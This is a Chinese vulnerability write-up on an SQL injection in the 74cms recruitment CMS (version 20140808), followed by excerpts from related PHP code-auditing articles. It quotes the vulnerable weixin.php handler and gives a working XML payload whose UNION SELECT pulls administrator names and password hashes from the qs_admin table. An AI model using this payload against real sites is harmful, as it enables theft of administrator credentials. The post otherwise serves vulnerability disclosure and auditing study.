74cms注入一枚(无视GPC)

版本为最新的20140808

0x01代码分析

看到\plus\weixin.php有如下代码

public function responseMsg()
    {
        $postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
        if (!empty($postStr))
        {

                  $postObj = simplexml_load_string($postStr, ‘SimpleXMLElement‘, LIBXML_NOCDATA);
                $fromUsername = $postObj->FromUserName;
                $toUsername = $postObj->ToUserName;
                $keyword = trim($postObj->Content);
                $keyword = iconv("utf-8","gb2312",$keyword);
                $time = time();
                $event = trim($postObj->Event);
                if ($event === "subscribe")
                {
                    $word= "回复j返回紧急招聘,回复n返回最新招聘!您可以尝试输入职位名称如“会计”,系统将会返回您要找的信息,我们努力打造最人性化的服务平台,谢谢关注。";
                    $text="<xml>
                    <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                    <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                    <CreateTime>".$time."</CreateTime>
                    <MsgType><![CDATA[text]]></MsgType>
                    <Content><![CDATA[".$word."]]></Content>
                    </xml> ";
                    exit($text);
                }
                   if (!empty($keyword))
                {

                    if($_CFG[‘sina_apiopen‘]==‘0‘)
                    {
                            $word="网站微信接口已经关闭";
                            $text="<xml>
                            <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                            <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                            <CreateTime>".$time."</CreateTime>
                            <MsgType><![CDATA[text]]></MsgType>
                            <Content><![CDATA[".$word."]]></Content>
                            </xml> ";
                            exit($text);
                    }

                                        $limit=" LIMIT 6";
                                        $orderbysql=" ORDER BY refreshtime DESC";
                                        if($keyword=="n")
                                        {
                                            $jobstable=table(‘jobs_search_rtime‘);
                                        }
                                        else if($keyword=="j")
                                        {
                                            $jobstable=table(‘jobs_search_rtime‘);
                                            $wheresql=" where `emergency`=1 ";
                                        }
                                        else
                                        {
                                        $jobstable=table(‘jobs_search_key‘);
                                        $wheresql.=" where likekey LIKE ‘%{$keyword}%‘ ";
                                        }
                                        $word=‘‘;
                                        $list = $id = array();
                                        $idresult = $this->query("SELECT id FROM {$jobstable} ".$wheresql.$orderbysql.$limit);
                                        while($row = $this->fetch_array($idresult))
                                        {
                                        $id[]=$row[‘id‘];
                                        }
                                        if (!empty($id))
                                        {
                                        $wheresql=" WHERE id IN (".implode(‘,‘,$id).") ";
                                        $result = $this->query("SELECT * FROM ".table(‘jobs‘).$wheresql.$orderbysql);
                                            while($row = $this->fetch_array($result))
                                            {
                                            //$row[‘jobs_url‘]=url_rewrite(‘QS_jobsshow‘,array(‘id‘=>$row[‘id‘]));
                                            $row[‘addtime‘]=date("Y-m-d",$row[‘addtime‘]);
                                            $row[‘deadline‘]=date("Y-m-d",$row[‘deadline‘]);
                                            $row[‘refreshtime‘]=date("Y-m-d",$row[‘refreshtime‘]);
                                            $word.="{$row[‘companyname‘]}\n招聘职位:{$row[‘jobs_name‘]}\n薪金待遇:{$row[‘wage_cn‘]}\n招聘人数:{$row[‘amount‘]}\n发布日期:{$row[‘addtime‘]}\n截止日期:{$row[‘deadline‘]} \n--------------------------\n";
                                            }
                                        }
                                        if(empty($word))
                                        {
                                            $word="没有找到包含关键字 {$keyword} 的信息,试试其他关键字";
                                            $text="<xml>
                                            <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                                            <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                                            <CreateTime>".$time."</CreateTime>
                                            <MsgType><![CDATA[text]]></MsgType>
                                            <Content><![CDATA[".$word."]]></Content>
                                            </xml> ";
                                            exit($text);
                                        }
                                        else
                                        {
                                                $word=rtrim($word,‘/\n‘);
                                                $word=rtrim($word,‘-‘);
                                                $text="<xml>
                                                <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                                                <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                                                <CreateTime>".$time."</CreateTime>
                                                <MsgType><![CDATA[text]]></MsgType>
                                                <Content><![CDATA[".$word."]]></Content>
                                                </xml> ";
                                                exit($text);
                                        }
                }
                else
                {
                exit("");
                }
        }
    }

使用$GLOBALS["HTTP_RAW_POST_DATA"]; 接收参数,这个类似于POST,但是和POST有点点不一样。如果提提交a=1,它接收的也是a=1。然后继续看代码,我们传进来的值经过了simplexml_load_string这个函数,这个函数是用来解析xml的。然后我们看到$keyword,跟踪一下$keyword发现直接进入了数据库。这个中间是没有任何过滤的。但是,看到有单引号,不过没关系我们传进来的参数的不受GPC影响的。然后如何利用呢?我们应该构造一个恶意的xml,来进行注入。

0x02漏洞利用

我们看到$keyword的内容是通过</Content>获得的,那我们就构造这样的xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xml><Content>1%‘ union select group_concat(admin_name,0x3a,pwd,0x3a,pwd_hash) from qs_admin#</Content>
</xml>

由于是白盒测试,所以数据库结构我们是知道的,然后直接构造exp就行。

74cms注入一枚(无视GPC),布布扣,bubuko.com

时间: 2024-12-28 21:10:37

74cms注入一枚(无视GPC)的相关文章

代码审计之SQL注入

0x00概况说明 0x01报错注入及利用 环境说明 kali LAMP 0x0a 核心代码 现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select.Insert.Update和Delete四种类型,注入也是对这四种基本操作的拼接产生的.接下来笔者将以Select为例引导新手初步了解SQL注入.Select是数据库的查询操作,所以常常出现在像文章查看和搜索这些地方,缺陷代码如下: <?php$conn = mysql_connect('local

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 7.全局防护盲点的总结上篇

0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递,也即被带入数据库查询的参数是整型.数组中的key没过滤被带入了查询以及全局过滤了GET.POST但没过滤SERVER或COOKIE引发的注入.所以看似有全局防护,实则隐藏了很多“后门”-盲点如下:①注入点类似id=1这种整型的参数就会完全无视GPC的过滤:②注入点包含键值对的,那么这里只检测了val

PHP代码审计笔记--SQL注入

0X01 普通注入 SQL参数拼接,未做任何过滤 <?php $con = mysql_connect("localhost","root","root"); if (!$con){die('Could not connect: ' . mysql_error());} mysql_select_db("test", $con); $id = stripcslashes($_REQUEST[ 'id' ]); $quer

论php常见的问题[转载自原乌云]

论PHP常见的漏洞 ′ 雨. · 2015/01/14 10:08 0x00 前言 里面很多都是像laterain学习到的, 如果能考上cuit的话 自动献菊花了. 0x01 安装的问题 首先拿到一份源码 肯定是先install上. 而在安装文件上又会经常出现问题. 一般的安装文件在安装完成后 基本上都不会自动删除这个安装的文件 我遇到过的会自动删除的好像也就qibocms了. 其他的基本都是通过生成一个lock文件 来判断程序是否安装过了 如果存在这个lock文件了 就会退出了. 这里首先 先

php代码审计之变量覆盖

变量覆盖一般由这四个函数引起 <?php $b=3; $a = array('b' => '1' ); extract($a,EXTR_OVERWRITE); print_r($b); //extract 有三种形式可能导致变量覆盖,第一种是第二个参数为EXTR_OVERWRITE,他表示如果有冲突,覆盖原有的变量.第二种情况是只传入第一个参数,默认为EXTR_OVERWRITE模式,第三种是第二个参数为EXTR_IF_EXISTS,他表示在当前符号表中已有同名变量时,覆盖它们的值,其他的都不

代码审计函数篇

addslashed() 添加反斜杠 stripslashed() 去掉反斜杠 get_magic_quotes_gpc() 判断是否开启gpc expode(".",$array) 分割成数组 is_numeric() 判断是否为数字 sizeof() 判断长度 trim() 去处字符串开头和末尾的空格或其他字符 exec() 不输出结果,返回最后一行shell结果,所以结果可以保存到一个返回的数组里面 passthru()只调用命令,把命令的运行结果原样地直接输出到标准输出设备上

代码审计基础知识

代码审计函数篇 addslashed() 添加反斜杠 stripslashed() 去掉反斜杠 get_magic_quotes_gpc() 判断是否开启gpc expode(".",$array) 分割成数组 is_numeric() 判断是否为数字 sizeof() 判断长度 trim() 去处字符串开头和末尾的空格或其他字符 exec() 不输出结果,返回最后一行shell结果,所以结果可以保存到一个返回的数组里面 passthru()只调用命令,把命令的运行结果原样地直接输出到

php代码审计基础笔记

出处: 九零SEC连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059 ---------------------------------------------------------- team:xdsec&90sec author:wilson blog:http://blog.wils0n.cn/ 文章链接:wilson's blog_php代码审计基础笔记[求人气~~] ----------------------

php代码审计

# php代码审计 标签(空格分隔): php 代码审计 --- #0 前言 #1 环境要求 ##1.1,测试资源 (1)待测试设备的ip地址,web入口,包括常用用户的登录名和密码 (2)后台登陆方式,包括端口,协议,用户名和密码,代码是否加密,如果加密了的话需要解密:登陆是否需要密钥,密钥密码等 (3)web服务重启方式,web日志位置, (4)数据库位置,数据库启动和登陆方式 (5)可访问性,确认加上了相关路由 ##1.2,测试内容 (1)新增功能模块和重点关注模块及其代码位置 (2)设备